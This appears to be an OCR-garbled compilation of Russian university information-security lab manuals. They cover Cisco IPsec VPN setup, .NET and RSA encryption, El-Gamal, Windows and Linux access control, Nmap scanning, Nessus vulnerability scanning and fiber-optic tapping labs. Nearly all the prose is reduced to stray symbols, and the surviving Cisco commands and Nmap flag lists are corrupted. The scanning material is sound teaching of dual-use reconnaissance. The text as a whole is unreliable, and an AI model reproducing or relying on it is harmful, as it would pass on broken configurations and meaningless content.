IPSec. 3 / % ! % % 3 /
/ ! 3 / $ 6% $ I/ %
# - # * 3 % / / % [/
33 $ / , % % , # % 3 -
% - . 1 1 # - #
% % %1 1# SSL % , - — TLS.
! % 23 , % - % ' % -
% "% / # 1% , / $ , % - 1% -
2 # % , / # 13
#' $ ! 23 Ker-
beros , / 23 ! ! 2 13
, ! % , ! 23 - 1%
# % 13 , % -
- ' , , % , % 2 ! # % % -
2%
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# $ # (VPN)-6 / , #23 , $ %/ %
33 $ / 13 ,
B3% $ / VPN ' 23 $ - %1 -
%, 2% 1 %l #] *
% «$ #» $ 1 # ! 2
, - # , % - , % 6 $# y -
$3 /o, .
* 2 I # % #1/ -
% ! % ¥ #2 -
2 ! #2 . $ ! -
, 23/ # % *
1 %1 - VPN ! ( + 5, , % % -
3 % - ., % %
|
2 23 VPN: (intranet VPN) — -
, % , (remote access VPN) — - % %
, %1 (extranet VPN) — - %
% .
VPN , $ 3 / % $ % -
IPSec,! $ 23 23/ $ 7, % / T
$ / $ - , 1 $ (# - IP- ) -
3 $ IP- %% .
% IPSec/ , - (AH), " (ESP)
1% 2% (IKE). * IKE ! ISAKMP, Oakley
SKEME $ # %/ % , 2%, 1 # /
/ % B - ) « !
- - » (security association — SA)! IKE 2% 6 * -, -
- , - , 33 % ( -
# - IKE SA). - 33 $ I
* % IPSec% I # % # % 1%/ -
% 1% / %% % % # % 1% -
/ , % IP- AH ESP-
2 23 % IPSec: - . - #
# — #.* 6% % /% % 2% VPN-' 2 % LVP 2 -
# #
" < )
1 # # ! ISAKMP 23 % % %
% , - -PSK, % ', —-AES, % /6 — SHA1, -
% y - % -5, ' % 2% -1536
- crypto isakm policy 12;
- authentication pre-share encryption aes haslgrshe 5;
# 2% , - % % PSK:
- crypto isakmp kelR6N!Y4hGaddressRouter_|IP_addres
8 2. # # , $ 3 $ /
- crypto ipsec transform-séfANesp-aes esp-sha-hmac;
8 3 # 33 % , % - $ %/ % ACL:
- ip access-list extendexdyptoacl-wan
- permit ip 10.10.0.0 0.0.255.255 10.10.0.0 0.0.255;
8 4) # $ 2 ', , %- |/ $
I %1 %' % - # ' %

- crypto mapNAN-mapl2 ipsec-isakmp;

- set peeRouter_IP_address

- set transform-saVAN

- match addressyptoacl-warinterface se0/0/0;
- crypto mapNAN-map
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8 5. # IPSec I %" / *

8 6. # 1! AAA Radius VPN- -

- aaa new-model;

- aaa authentication loglSBgroup radius aaa authorization netwéd&Blocal radius-server host 192.168.1.100
key Yulewre!

8 7. # # ISAKMP:
- crypto isakmp policy 12 authentication pre-shareryption aes group 5;
8 8 # % / IP- / %

- ip local poolASB192.168.1.150 192.168.1.250;

8 9.) # %

- crypto isakmp client configuration gro&sBkey BankKeypooIASBnetmask 255.255.255.0;
8 10.) # , $ 3 /
- crypto ipsec transform-s€B esp-aes esp-sha-hmac;
) # $ 2 Y

- crypto dynamic-map-ASB12;
- set transform-se€B crypto map sASBclient authentication lisASBcrypto map sASBisakmp authorization list
ASB rypto map sASBclient configuration address respond crypto m#$s812 ipsec-isakmp dynama-ASB

+ - # $ 2
- interface fa0/0 crypto mapACB

8 11. * # # , - * # 1! % R
", / / *  # # - # , -
|

7. :

1. * , # 23 33 $ / (

2. . % - ! % 3 3

3./ VPN.

4, * IPSec

5. , - PSK

6. % ', AES

7. % /6' SHA1

8. ! , 23 # 2 $

9. , 23 # 2 $

10. # % ' $ .

11.! # %1 / % / ' $ .

12. %! % 3 , % - ' $

13) 1 # % % % 3 , % - (

0 —-4%

+ , , <. % 0% - # -
# , - , +, % - ! % y . -

., arsenyperm@mail.ru
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, 12 (

+ . 10.05.01 % #2 ! # y oo 33 -
%% I''$
, : 3 %% /
! $ NET
1.
5 | # I/ %2 $ -/3% 2 , %-2 , % % % -
'$ % %% , /%% %
0 :
5 % , - 113 $ -/3 , % - $ |/ % -
% 3
2.2
2 1.) # %% , 3 232 ', ', , -
%3#2 %% $/ % . 1 1 # :
1. ( -2 28 ( # # 3 .NET).
2. $ 2% # , % % , - /' ( # #
NET /' ).
3.9, /", # % %% $/ % . AES 3DES ( # -
# .NET). # 1 '# %1 # ! % .
4.) % / ! - ! %% $/ % %1 #2 !
# % .
5 #/ % ',
* 1
1. ' # # - ' $ ! % 1 ! % 3!
1 , % , 28 | # % %% ', % -
# 1 # % $ % , #
1 # . / 2% , 1 b# .
2. # |/ # %/ % /' ', , 1% -
!
2 2.) # %% , 3 232 ', ', , -
% 3#2 % RSA 2! ! %% $ % . 1 1 # :
1. ( -2 2% ( # # % 1 NET RSA).
2. %1 # / 2% .
3. %1 # / 2% .
4, 9, /", # % % RSA( # # .NET), %! -
% %% $ % %% .* 1% ', $ 23
%% $ % , 6% 28 ', 2 , % % 2% ', -
% 3#2 RSA % .* ', , 3 / ', -
2% , % ', % 3#2 RSA. % # %% $ -
% % % ', /.
5 #/ % ', .
6. / 2% ', % L 1 | #
', %% $ % %% 2% 1 | # /'
# )
)V %
1. ' # # - ' $ | % 33 % / 2%
% %% $ % ( % )
2 # # %/ % .
3.* % # 33 % , % % # % %%
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, $
1 % 3
%% $ %% $
.NET.
- $ /
% 23 %
HMAC.
», - + * 1

NET.
%
% / #
$ .NET, 1$/ /' 23]
-43
, < 2 « !

*) . i'rinei.vlatskéya@yandex.ru
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: % : $

+ : 10.05.01. % #2 ! # /I % $ % 3
’ %-
: ; ' $ % 3 , % -
' >
1. :
% % $ % %% % % , # %%
- |$ / %
2. * ,
2 :
5 % % $ % , # % $/
5 # |$ y T ! $ 3 - # - [} %
0 :
5 I #2 # # ! / , % % , %
! $ %
3. " - (
. : # % # #
% #2 - % Windows XP ' , 1$23 % #2 %%
El-Gamal_Tutor, / %% Maple.
4, 2 :
5 % # 1$23 % #2 %% El-Gamal_Tutor.
5 +$# % 8# (% # % % ,
% % .
5 # ( $ ) #o# 6 '$ %%  El-Gamal_Tutor.
5 * %%  El-Gamal_Tutor - #2 " $
5 % 3#2 / %% Maple ', ', 13
, ! 6% 2% 1 #
% .
p.b|80-, , la||f® 40-,
2% 2 " %
_ .d
K={(pabd:a"°b(mog)},
K = (kg;ks); ko = (p,a,b) — 2% ; kg=() — 2% .
5 , % # ! # - ! % 8# (%
5 % % ' $ ,% 3 #
" / 23/ 2% (pa,b).
5 # #
5 # 3 # $ !
5"
13 % 8#-(%
% 8# (% ! 1 1985 % -% ! /1
I 8# (% % . % ! 1 ' $ :
% o # $ o« I ab o & ° (mod).
*# XY, K- % % 1 %1/ / /
2% ;
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Ep:X® Y — 3 2 kI K:%1 {Ex KTK}=E, %

{E () X1 X} =Eg (X);

Dy Ex(X)® X — . 2s kI K, D={D :klK}
1'$ % #2
A={X,K,Y,ED} ', % 8# (% 23% ! %
8% @ z,={0%2..;(p-1} - % 1 $ 23 !
$ $ P Zy-%1 L%/ 6%
X=Z,, Y=Z," Z,
* ' 23 , %

Bk, (M)=1(C1;C2)»

M - @G -,
G0 a'(mog); C° (Mb)(mog): + — % ~ 3 - s
1Er£(P-2), V % - ! % ' ,
/ ! ! # $ ',

*

2% 2 ", $ )

Dy, (G1.C2) = (C2XC) Hmodp.

% $ L " # 2¢ d #
r.
# % 8# (% 1 #2
% Z,, $#,$ 3
"% P, 13% % 300 $/ - %
P-1) 1 L # #
/ , %1l | # %
/% | 2 L # #2 $% %
) % % 2
1 , ) %
2. % $ ! ,
% $ % , # , ! $ % $ %
: 25, %1 $# 2
L %-2 | % .
3. % # : Lol " . %1
" . % # oo .
4.)1 % # # $/ $ %
, % $ % ! 23 "
I %1 | # % % ! 2% .
% 8#-(% %1 !# 3 #
3/ %
1. . $ % % % !
2. % 9 ( % '#/ % /| ).
3. % @ * =% , 123 , 1 $
( -1) % 1
4, . % * .
5. % % (1979 ).
6. % COS( % o1 ,9 # 1986 .).
7. . $ (1993 ).
% (1-4) ! 2 6 - # 1 #2 , —(5B-7)-1
6 % # # %/ 2%, 300 ! $/
2 ' # $ 1% 8#-(% % % % .
1 2 ., % # % ' $
i P 3
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*

H+

% 1$23 %% % 2 $ %

% - # 1 # / / 2, ! $#
% 3 # # , $ )
% . % , ! ! % Y %
% 1 2 /
% 8# (%
# # 6 # '$ # % %% El-Gamal_Tutor.
"l $ 1$23 %%  El-Gamal_Tutor.
', ', # % ***  Maple.
! % 8# (%
# # 6 #
#
-8%
, , <. : 1 .
% % % %/ 1% ( % $ ,
$ . # 9 , agwl@yandex.ru - % (. ., vinkv@mail.ru — -
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+ : 10.05.01 % #2 ! #
, : ! %#2 |/ %
! $ (
Windows
1. :
| # ! # % % - %
Windows 7/8/10 / Server 2008/2012 (32-64 bit).
2. * ,
% # | # # % % # # - %
Windows 7/8/10 / Server 2008/2012 (32-64 bit).
3. " - (
5 %#2 % % ( % , Oracle VM Virtual Boy
5 $ ! - %  Windows 7/8/10 / Server 2008/2012 2012 (32-
64 bit).
4, 2
+ # % 2 $ 2 # # # ! , -
23 !
5 2% # % ! :
5 2% # " # " % % ! :
5 2% # " 2% " % % ! :
5 # , % / , ! :
5 # # usb 2! ;
5 # # % - dvd :
5 2% # , % ;
5 2% # % % %" - :
5 23 % %
5 "'
( # - %  Windows 2000 2$ !
900 # % #2 , % % % # %
%#H2 % .+ , $ % / % , -
- % Windows 2000 # % , $ % -
% , - - % . ( - 1% 1
1 ADM. % Windows 2000 Servei # 1& / -
% #2 , 1/ % / (OU) Active Directory.
- %/ Windows XP Windows Server 2003% 1 /
! ' . % 6/ % % # %1 # # -
% % ! 1 , $ $ # 1400.
* - | % , - , % 2 % # %
& % 1% , % & , # 6 | '$ Windows.
# - , 6 o1 % # 2! 6
1& , % , % # .
* -6 1 1& , ! 23 ! % % -
% % % % . , 1 % 1 % #
1& % # -1 # $ . #, %
, 232 , '$ , ( 2% ) # # 1 % 1
% # 23 1& ( % $ -, '$ ). # -
% 1 % # % , % , #/ % #2
I #/ / ! .
. # % / # #/ # %1 -
# | % % # % . Windows XP # % 2
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% | 2% # % % #2 , %% /| 3%
) $ Vista , - 1 #
(Multiple Local Group Policy Objects, MLGPO), 23 #
- % Windows Vista Windows Server 2008 12
/ ) % # 1 ! $
% , %1 # ! , ¥ %
Internet Explorer, 1 %1l # # # %
# .
- %/ Windows 7 Windows Server 2008 R2 $
/ .
< #2 ! !
n < )
# Windows 7/8/10 / Server 2008/2012 2012 (32-64 bit) /
2 % I # $ /1 -
%
- % % 2 $ 2
23 % "% % , % # # $ 2 #
! % % % # \ !
# \ $
! # % % ! # #
# #
5 )1 # Win+R.
5 mms.
5 | # < ».
' % | % 1# «' » | # «! #
» \ « 1& » 1# «! # ». %
1# «! », 1& I #
# D1 # « »—« »)1# «* # % #2
1 # Windows 7
+ # % 2 $ 2 # # # !
% % % $ 2 25 % %
I/ % (, -

— N

2

#

6

» (

I

3200

Windows.

%
/

%



% "l | % Windows / Internet Explorer / % ),
! % %1 # 23 % R
% $ 2 )« 28# »« 28 # » % $ I/ % I # « 2% # ».
$% ! % 2 $
5 2% " # " % % ! ;
5 2% "* 2% " % % ! ;
5 !/, % / , ! ;
5 usb 2! ;
5 % - dvd- ;
5 2% , % ;
5 2% % % %' - ;
5 2% % %
7.
1. ! $ Windows (
2. ! % 1 ! % ! .
3. %1 $ % / $ ! ?
4, # % 1 % % # % % ?
5. / / # # -
6. 1 & , ! ?*$% ?
0 -3%
+ , , <. % - # #
%. % X , # $ , burlakov@ssau.ru
+ :10.05.01 % #2 ! #
, : ! % #2 |/ %
! $ (
Linux
1.
I # ! # % % -

Linux % Ubuntu 18.04 (64 bit).
2. * ,

% # | # #% % 4 # ;
Linux % Ubuntu 18.04 (64 bit).
3. - (
5 %#2 % % % ,Oracle VM Virtual Boy:
5 $ ! - %  Ubuntu 18.04 (64 bit).
4, 2

+ # % 2 $ 2 # , / 1! %
% %
5 chmod;
5 chown;
5 chgrp;
5 newgrp;
5 groups.
5.

* $ % ! / !
11/ % Linux.
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% chmod — % ' ! - %
$# ) % .8 % % -
5 R- % / 1%
5 f— # 13 Pl , , $# % '# %
5 v— | # 1 . .
) $# : % 3 % chmod% 1 %
1% - % 3 % # 12/ 1%
I 2 1% - . ! 77 #
% $/ $ % # 1% -6 , !
77 Tn $ KTWX>, ! .1
% chown $ % #- , .
23% ! % :chown" - ""% , % # #- .
# 232 # # : chown " - ""o%
" % # 3 #- .
% #- ( ) #1 % % 1
# /3 " % , # -2 /o, 3
).
1. % # 12 1%
/' % , $ ! $ - ! # 3
, /"1 13/ " / , % # 2% -R (recursively).
) % , % chown -R vasia:users % #- vasia, users /
. , 1 31 3 "1 # % / /
% chgrp$# /1 32 # $ , % 1
# , « ). chgrp ™ ""0% "
# , $ ! % chown #
# % , %, 1 % chgrp.
< #2 ! ! Linux.
6. " (<
1 # Ubuntu 18.04 (64 bit) / 2 - 2 % I #
$ /1 - , - %
2. - % % 2 $ 2 # %
23 % "% % , % # # $ 2 # ( #
% pwd).
3 # %' % . # % 1% % - 23% 6% %
( % "+ )
4 I # % % 3#2 % chmod # !
2% 1 122 # .
5 | # %1 /I %l $ I % / , $/
$ / ! ( % % % chmod $/ % #/ 2%
, % , 000 400). 1 , % # % 1% ! %
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PoONEN

o

%

o1 o1 01 0101 Ol

&)

# %' % .+ % 1% , ! %1
( %1 ) % / /! I % , 7%.
% # ! , V¥ # ! I #
$
! $ Linux ( )?
* % $ 2 Linux / $
% 1 $ % / $ ! ?
# % 1 % % # % % Linux?
-3%
, , <. : % - # #
%. % * , / # $ , burlakov@ssau.ru
: 10.05.01 % #2 ! #
! %#H2 | %
# $ II+
( ( (
NMap
I # ! - % %% % ' $ % ,
% ! #/ V#/ $ #
% *  NMap.
* L
% # | # ; % %% % !''$ % , $ %
! #/ V#/ $ #/
*  NMap.
" - (
% #2 % % ( % , Oracle VM Virtual Boy,
% % , % , - 23% 1 # $ #
! $ % ! 1 ( 3 ) 1 /Ay % / /
I 6% # $ # $% I %
$ ! - %  Kali Linux x64.
*  NMap.
2
+ # 1 % *  NMap # 23
! #/ [V # ] $ #/ :
# % [ / :
# %/ % 11 / / ;
% # % / ;
# $ % % ;
# % % # #2 ;
% # I % I/ I % 6 % ! 1 (IDS) 3
1 ;
% # %1 # ;
% # %1 # 11 1! / % /
* $ % ! / !
- % *  NMap.
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NMap $ 21 % $ % 1& ,

1& % , 1 23/ % 1 . 6
NMap 1 I # $ $/ % , / %1 #
UDP connect();
TCP connect();
TCP SYN ( );
FTP proxy ( $ ftp);
Reverse-ident;
ICMP (ping);
FIN —

ACK — ;
Xmas tree — ;
SYN - ;
NULL —

o1 o1 Oo1Oo1Oo1o1oro1r o1 OOl

NMap 1 1 L # ! #/ %1 , %
- % / # % TCP/IP fingerprint;
« % »
%$ $ % 1 $ ;
# ;
/ / % % # ping — ;
# % 1/ ;
$ / , # ;
# portmapper) RPC — ;
# % IP-, % - ;
# IP - % %/ .
. # % ! %% / %'
% % , # % , 1 (I
6 % % .* / % %1 % % « », « #
% » « ,# % »:
5 (open) — %' ' ;
5 ,# % (filtered) —% 1 6 , , # !
6 % NMap % # ;
5 « ,# % » (closed) — # % NMap
, 6 % 3 %' NMap # . 8 NMap
2% $ , 1 I # %/ / ,H#H 2 .
% / - ,NMap 1 %1 # 23 /
% / :
- % |/ ;
% - TCP ISN;
% # #- - , ' % ;
% # % 23 % % P- %
NMap 2 23 - ! %
-sTTCP Connect();
-sSTCP SYN;
-sFFIN — ;
-sX Xmas Tree — ;
-sN NULL — ;
-sP Ping — ;
-sV ;
-sU UDP - ;
-sO IP;
-sl <zombie/  [: > - «/ 2 »;
-sA ACK - ;
-sW TCP Window;
-sSRRPC — ;
-b <ftp relay host> —* $ FTP». $ % URL ftp- , H
% $ « »(% _ # C# @ : ).

% (!

01 01010101 O1TOo1T o1 o1Tan

o1 o1 o1 O

o1 o1 Oo1rOo1Oo1O1O1O1 0101 o1 o1 OOl

< )
% % 1'% 25% , % 23% # %/ %
*  NMAP.
2. % ACK # 33 % / %1 % 6 %
% H % ! 23% /3 SYN —

o
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PPN

. * 0% TCP Windows # $ Initial Window TCP —

# %1 # , B - / % % / .
. ¥ 0% Uriel Maimon # % FIN/ACK $# 1
RST - , -, - RFC 793 $ $ .
.Y % % TCP/IP fingerprint 1 # 2 % /
. % / Idlescan % 3#2 # %' 1 %
IDS $# |/ / .
L # % IP , 1 1 1! /
[ Y
+ # , , % % % # #2 -
| % / /
$ 1 * NMap?
NMap $ % / IDS? , $% ?
% 1 #2 3 # / / ?
13 % - 3 / , 1 % 1
% ' , 3 23 33 %
-5%
, , <. % - # #
%. % X ! # 3% , burlakov@ssau.ru
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"\5#%.#*)* 10.05.02
#! + %5#+11%8 &)2+"% 1+ *9 )+ 1#%54#+1/1
#*)
: 12 $ 6 ( (
+ : 10.05.02+, % - ! # %% - / % ,
10.03.01+, % - ! # .
, 3 , % - % #2 |/ /
+ 7 16 Nessus
1.
* $# $ $ % 11 % /
% 3 !
2. * ,
# %/ % ! 11 % , # % -
2 U1/ % ! % ! Nessus.
3. " - (
D Y #H2 ! ,
#/ %' ! VMware, ! # %' % Win-
dows, ! Nessus.
4, 2 :
5 $# $ % ! % ! Nessus;
5 # 112 % / : ! % 3#2 -
! Nessus.
5. :
* % % # % 2 | # % 3 , %1 # -
# 2 L* % 2 # , , %
# % ' - , , - # , % - ./ 3 ,
11 23 / 3 $ 2 %#H2 2 % % % #
% "1$ % % #2 % % "1 , -
3/ - %/ % ! 1'$ % *
, 2 23 %
5 | $ ;
5 'l , % | ;
5 #/ ! ;
5 % # % i ;
5 16
! 3 2 % , $ % - -
- 33 % ! % # % $ %
% % ( ), % . / ,
% % - ( ), . % . .6 # -
# % % # % - 2 / %
) | # 1 % % # ! . % ! -
1# % 0-day. %% , ! 1 1 # 1-
#,%$! '# 6, % .
! Nessus % # , % % , | /
% , 23 # , % - % , # %
% #2 , % 21 «  » | , % # #
# % % #2 . Nessus 1 # , % - ,
# # # , - ., % # , ! , 1 # % -
% .8 % $ 1 / % , -
/ I ! / %%
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% 1 Nessus:

5 $ 1 , %-
5 ' % FFIEC, FISMA
5 % #2 .
5 $ , - # , % - , 28 * .
5 $ % / A , o= % -
1
5 11 ' ! ( 16 ! )
5 11 #/ % .
+ # (+* ) Nessus ! b Nessus, -
HTTP- I - . 123 %% ! -
$ , % Nessus. , $ , # Nessus
- 2! ! I/ % https://localhost:8834/ % $
localhost # $ / 2 $ # ¥ % /o,
% o, N % % localhost # IP- .
* - 6 # % 2 -
% 6 1.
CL % 6 #
/ 1% % 2 «Scans» 1% «New scan» — -
! (%. .2).
2 6 | |
Nessus 1 $ "l , H -
% $/ $ / 13/ $ .)! $ # % : Web Application
Tests Policy — -1 $ % , Basic Network Scan
Policy — " / / $ % )1 «Basic
Network Scanx» - (%. . 3), 1 # -
y 7 .
«Targets» !/ % # , I % # .1 # -
# . 2 # IP 192.168.1.0/24* / % 1% -
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% "Save". - I % 1# “Launch” "%

/ (%. .4).
. 3.
4.
* - I''$ % - $ # «My
Scans») 1 $ % 1 1123 , %-2 -
3% / % % % /I .*% -
! Windows XP 5.
.5." %
* # % % $% P % % oo
%2 - 2 . % % , 1 1% %
"vulnerabilities” [ % % 2.
) 6 , % 11/ % . #
% , % $% ! #2 , %-2 1 % # ,$ %% -
% , $ 1 ! ( Solution
% ). ! ! %1
https://docs.tenable.com/nessus/6_11/Content/@&tamted.htm , «DOCS\Nessus_6_11.pdf».
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6. " (<
$ - I/ %
! ! !
“win2003". $ ! I/ %
1. % 3#2 Nessus :
5 ' # 2 % ' ;
5 ', 3% *8 ;
5 # 2 % ' , 2 %
2.+9% $ , Nessus.
/ 1 %/ % /
3.+% % - 2 /
4, ! $ % 2! %
7. " :
1. % #2 7
2. $ %
3. % # 2 %
4.) % 1 Nessus.
5.) ! $ # %
6. * Nessus, % -2 !
0 —-43%
+ , , < "(
/$ %. )

.6." % 1

AMAkhmetvaleev@Kkai.ru
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%

%

%

%

# - #
% ' “winxp”, “win2000”
! , %-2
1% '23% , -
Nessus.
?
- #
+ 1%



+ : 10.05.02+, % - ! # %% - |/ % ,
! 337/ %% - / %
, D8 %% - %
> I, 0+
1.
+$ - - 0 ) - $
(: ) 7 # % 3 . $ -
$ / ! - $ % # -% # % ! %
2. * ,
5 | # % 6 % ! $ / %% - |/ %
;! I # / ' 2 $ / %% - -
/ %, %$ % I $ 3 , % -
0 :
5 % # % % # % -
$ / % / ., % - # ! % 3 $ / -
%% - |/ %
3. - ( :
! , (% ) P-Link AFS100-25,% , - -
# % # - % %3 Yokogawa AQ2200,% : (% 23 -
' 4 %, $ 7 10099, % ) : 3 FOD-
5503, - $ # 90/10 %, - $ % Westover FM C-400,
# % #2 , - , LeCroy WaveSurfer 104 Xs, %% % %-
# Tabor 8500, # % # 7-78/1, l#  « », #
$ ' # $
4. 2
! ! #/ % #2 % 1 ! # 2 #
% 3#2 ! , (% - 3 ). 1 %
%#2 % 1 $ %3H2 % ping (
/ TCP/IP).
: , 23 ! ' 4% % ) $
7 (10099 %1 #2 2% - $ -
-3 FOD-5503, % - 2%7 # , 3 10 %% 3
$ # ! .
# % 3 3 % 3#H2 % AQ2200-211% # - %
Yokogawa AQ2202. / % , 1 % - # % %%
2 %3 , 297 %% % % % # Tabor 8500 (1 , -
% ) -, LeCroy WaveSurfer 104 Xs.
* ) : ! # 2 # 2 L 87% ! -
# 6 %1 !'# %$ # % # % ( # %1 %#2 -
% 7 )-) 6 % # ! % 1 , # 1 $ #
% % 3 $ .
5.
3 # % % % # % 3 -
- : 2% 23% .
# , % : 23 $ % 7% % -
$ % % 2 , % 3#2 - 9 $ -
% % 2 % 3 . % # 3! # %
% 3 # % 1 %% % $ % ! I % / -
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$ L) , % , - #2 $
% % , , #/ # 2 -
% 3 $ 7% % $ % %
6. " :
1 % 6 % 1.
1.* # $ / $ / &7% % 3#2 % Westover FM C-400, Io-
! % $ .
2.1 # 3 %#2 10.10.131.91 2% # .
3. 2% # RJ-45% P-Link AFS100-25A  # .
4. * 2% # $ % P-Link AFS100-25A % : (" -
4 %).
5. - % : (" 4 %) 2% # % ) (7 -
100% %1 #2 3 FOD-5503).
6. - % ) (7 100% %1 #2
3 FOD-5503) 2% # / .
7. |/ , 90 %% 3 $ , 2% # $ -
% % P-Link AFS100-25.
8. 2% # RJ-45 % P-Link AFS100-25 % #2 10.10.131.92.
9. * 2% # % % $ 23 1 .
10.* % % % I # $ %1 % , 1 b=
$ % 1 % % % % # .
11. # % #2 10.10.131.92% «ping —t 10.10.131.91»% % % % -
2 % 1 % % #2 C# , $ % #2 10.10.131.91
% % $ # .
12. / , 10 %% 3 $ , 2% # /
% % 3 AQ2200-211% # - %  Yokogawa AQ2202.
13. 2% # % % 3 AQ2200-211 1% , - % % #/ % % #/
$ % % % 3 .
14. % % 1% % . # % % # % % # -
$ % % % 3 A % 1 % , $ # $ % 3 -
) .
15. 2% # % % 3 AQ2200-211 1% # / . -
# 1% ! / .
16. $ % % # ) $ % 3 # $ , 2.3
'23 $ $ % 3 ) .
17. / % AQ2200-211 2% # -, LeCroy WaveSurfer 104 Xs.
18) # -, $ 1 ( % -
%3 $ $ ).
19. % 3#2 / -, , # $ 1 -
% / % % % 3 AQ2200-211 ) .
20.x 2% # % 3 FOD-5503, % % % 3 - -
2. %3#2 % % 3 -, I # % #
22. %3#2 12 % 3 % «ping —t 10.10.131.91% #
$ $ % 1 %H2 % . # 3 7 )
# %1 # % # % ( % %% % 1 I 1 # , )
! # # ).
23. 2% # % % 3 AQ2200-211 1% , - % % #/ % % #/
$ % % % 3 .
24. % % 1% % . # % % # % % # -
$ % % % 3 —_— % 1 % , $ # $ % 3 -
$ ) .
25. % 3#2 / -, , # $ 1 -
% / % % % 3 AQ2200-211 $ ) .
26. # $ % 3 % $ )
27. # $ 1 % / % % 3 AQ2200-211 -
$ ) : )
28.x 2% # / % % 3 23 % / TRIG INPUT % -
% % Tabor 8500.
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29) # ! 23 %% % Tabor 8500
% ! % ,$! 23 3 / -
- (% % # , $23 $ - -
: ).
30. # %1 ) % 3#2 % % 3 AQ2200-211% -
# - %  Yokogawa AQ2202.
7.
1. * /% 6 % #/
2. * $ # % ! .
3. * $ / / 6 % -9 -
3 FOD 5503.
4. *$% ! -3 % % -3 FOD 5503 7 -
% 1550% '2 6 1 1310% 2..3 (
3.5 )?
5 * # ! ( 6 - , %% % !
% . % )
6. * , % ! % (%7 / ! 6 % #/ / #
% 3 $ 6 - , ?
7. * Tabor8500, # % 2% 1% , %
8. * . $7 3 %1 # % 3 $ -, (
# - , " % "! % $ 2
$ # T )-
9. ! ) ; $7 % % 3 %
$7 # #/ $7%/ # % 3 ?
10. ! : $7 % 3 $7
% / $7%/ # % 3 ?
0 -2%
+ . y <. 101 , # , + % -
#2 / , % - ! . , % - ! -
%% - |/ % , ... - (! # 3 , avgorbunov@sfedu.ru
+ : 10.05.02+, % - ! # %% - |/ %
! 337 / %% - |/ %
, $ %% - %
> I, O+.
1.
+ 3 - : 0 ) - 3
(: ) $7  # % , $ $ -
/ ! -3 % # -% #% ! %
2. * .
5 1 # % 6 % ! $ / %% - | %
;! I # / ' 2 $ |/ %% - -
/ %, %$ % I $ 3 , % -
0 :
5 % # % % # % -
$ / % / . % - # ! % 3 $ / -
%% - |/ %
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- (

! , (% ) TP-Link TR-965D, $
Yokogawa AQ6370% , - # % # - % Yokogawa AQ2202,
- $ # -3 FOD-5503, $ # ' $ %
7 % I'$ (250% % , 2 4%,
50/50 %, # 90/10 %, $ - ) $ 2% # , $
EDFA- # - 8 % $ Proflex, - 9 %
Westover FM C-400, #/ % #2 , l#  « », #
$ ' # $
4. 2
! ! #/ % #2 % 1 ! # 2
%3#2 | , (% - $ ). 1 %
%H2 % 1 $ %32 % ping (
/ TCP/IP).
. 23 ! ' 4 % % )
$ 7 (100 % %1l #2 2%
$ - -3 FOD-5503, % - 2%7 # , 3
10 %% 3 $ # ! .
# % 3 3 %3#2 % AQ2200-211% #
% Yokogawa AQ2202. # $ 3 % 3#2
Yokogawa AQ6370% 2% % # ! 3
% 3#2 -9 2%
* % - % - % 3#2
3 FOD-5503. / -3 2%7 % -
. 9 2% $/ % , % -
$ % % 23 $ . % - / / !
$ / $ % 23 $
! % 3#2 EDFA- 2 I/
% $ % 3 % 23 $
* ) : ! # 2 # 2 Y ET% !
# 6 %1 !'# % $ # % # % ( # 1 % #2
% 7 ).) 6% # ! %1 o, # 1 $ #
% % 3 $ .
5"
3 # % % % # % 3
- : 2% 23%
# . % : 23 $ % 7% %
$ % % 2 , % 3#2 - $ $
% % 2 % 3 % # , 6! # %
% 3 # % 1 %% % $ % ! I % /
$ ) - %, -#2 %
% % , , #/ # 2
% 3 $ 7% % $ % %
6. "
% ! $ - #1 3 2% #
$ # , %3 # / # $ I #
# % ! .
[ % 6 % 1.
1.* # $ / $ |/ &7% %3#2 % Westover FM C-400, !
! % $ .
2. # 3 % #H2 10.10.131.91 2%7 # .
3.* 2% # RJ-45% TP-Link TR-965DA #
4. * 28 # $ % TP-Link TR-965DA % ("
4 %).
5. - % : (" 4 %) 2% # % ) (
7 100% %1 #2 3 FOD-5503).
6. - % )y (7 100% %1 #2 3
FOD-5503) 2% # / 90/10 %.
7. 1 , 90 %% 3 $ , 2% # $

%

%

TP-LINK TR-965DB.
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8. * 2% # RJ-45 % TP-LINK TR-965DB % #2 10.10.131.92.

9. * 2% # % % $ 23 1 .
10.* % % % I # $ %l %, 1 Io-
$ % 1 % % % % # .
11. # % #2 10.10.131.92% «ping -t 10.10.131.91»% % % -
2 %1 % % #2 D # 3 % #2 10.10.131.91
% ., % $ # .
12./ , 10 %% 3 $ . % 3#2 $ -
2% 2% # / % % 3 AQ2200-211% # - %
Yokogawa AQ2202.
13.+% # , # %3 # $ ' % - &% .
14. 2% # / % # %3 Yokogawa AQ2202 2% #
2 Yokogawa AQ6370.
15. # %% $ S # $ 2 %% 2 -
16.* 2% # % 3 FOD-5503, % % % 3 - -
17. %3#2 % %3 I # % # .
18. %3#2 12 % 3 % «ping —t 10.10.131.91% #
$ $ %1  %#H2 % . # 3 7 )
# %1 # % # % ( % %% %1 I 1# , )
! # # ).
19./ . 10 %% 3 $ . % 3#2 $ -
2% 2% # / % % 3 AQ2200-211% # - %
Yokogawa AQ2202.
20+% # , # %3 # $ $ % - &% .
21. 2% # / % # %3 Yokogawa AQ2202 2% #
% Yokogawa AQ6370.
22. # # I # %% $ $ % - &% .
23./ $ 2% 2% # 25 % / - .
24% # % .19-22 % 3 ) .
25.* 2% # / $ 2% % (10%) / $ -
1% , 7 . .6.1L
26. # 2 % % # / .
27. 2% # # % #, # % $ $ % 23
$ , $ #.
28. / . 10 %% 3 $ . % 3#2 $ -
2% 2% # / % % 3 AQ2200-211% # - %
Yokogawa AQ2202.
29. % 3#2 2 | # B! %3 # $ . 3 . 13,
%3 #2 $ , % % - ) .
30+% # , # %3 # $ $ % - &% .
3. %3#2 12 % 3 % «ping —t 10.10.131.91% #
$ $ %1  %#2 % . # 3 7 % -
- ) # %1 # % # % ( % %% %1 I -
1# ) % # %3 $ ).
32. 2% # / % # %3 Yokogawa AQ2202 2% #
% Yokogawa AQ6370.
33. # %% $ ) I # 7 2 -
34. % 3#2 / # ! $ , -
$ / #
35. 2% # # % ! .
36. # %1 |/ % % -
) .
7. :
1 = /% 6 % 2 % - -
0 ) - $ (- ) %7
2. $7% 2% - - % - % &7% : ?
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3. $7 % $ / % %% : % 1 -

# % - ) # $23/ % | / ( % -
23 )?

4. $7 % $ / % %% : %1 -

# % - ) # $23/ % / / (

% 23 )?

5. $7 % $ / % %% : %1 -

# % - ) # EDFA- % - ?
6. % ! % /' % % ,- # /1% 6 % , $ ! $ % 23 -

$ # o# % : $ ?
7. 1 / /% - -
% - % % &7% # EDFA-
% - .
